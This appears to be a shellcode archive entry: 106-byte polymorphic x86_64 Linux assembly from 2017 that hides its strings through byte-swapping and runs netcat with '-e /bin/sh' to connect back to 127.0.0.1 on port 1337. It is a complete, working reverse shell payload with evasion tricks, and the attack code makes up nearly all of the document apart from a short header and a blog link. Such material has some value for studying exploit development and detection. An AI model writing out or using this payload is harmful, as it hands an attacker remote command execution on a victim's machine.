Linux x86_64 Polymorphic NetCat Reverse Shell Shellcode

106 bytes small Linux x86_64 polymorphic netcat reverse shell shellcode.


MD5 | 48409c0e781dd94983e54244be9d7b6c

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;Copyright (c) 2017 Robert L. Taylor

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; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html

global _start

section .text

_start:
jmp next
sh:
db 0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f
nc:
db 0x63,0x6e,0x2f,0x2f,0x6e,0x69,0x62,0x2f
ip:
db 0x2e,0x30,0x2e,0x30,0x2e,0x37,0x32,0x31
handle:
pop rcx
lodsq
bswap rax
push rax
push rsp
push rcx
ret
next:
xor edx,edx
lea rsi,[rel sh]
push rdx
call handle
pop rbx

push rdx
call handle
pop rdi

push '1'
call handle
pop r12

push '1337'
push rsp
pop rcx

push rdx
push word '-e'
push rsp
pop rax

push rdx ; push null
push rbx ; '/bin//sh'
push rax ; '-e'
push rcx ; '1337'
push r12 ; '127.0.0.1'
push rdi ; '/bin//nc'
push rsp
pop rsi ; address of array of pointers to strings

; some magic to put 3b (59) into RAX
; note that this depends on the push "-e"
; and it's position on the stack
mov rax,[rsp + 48]
shr rax,8
sub rax,0x2a
syscall


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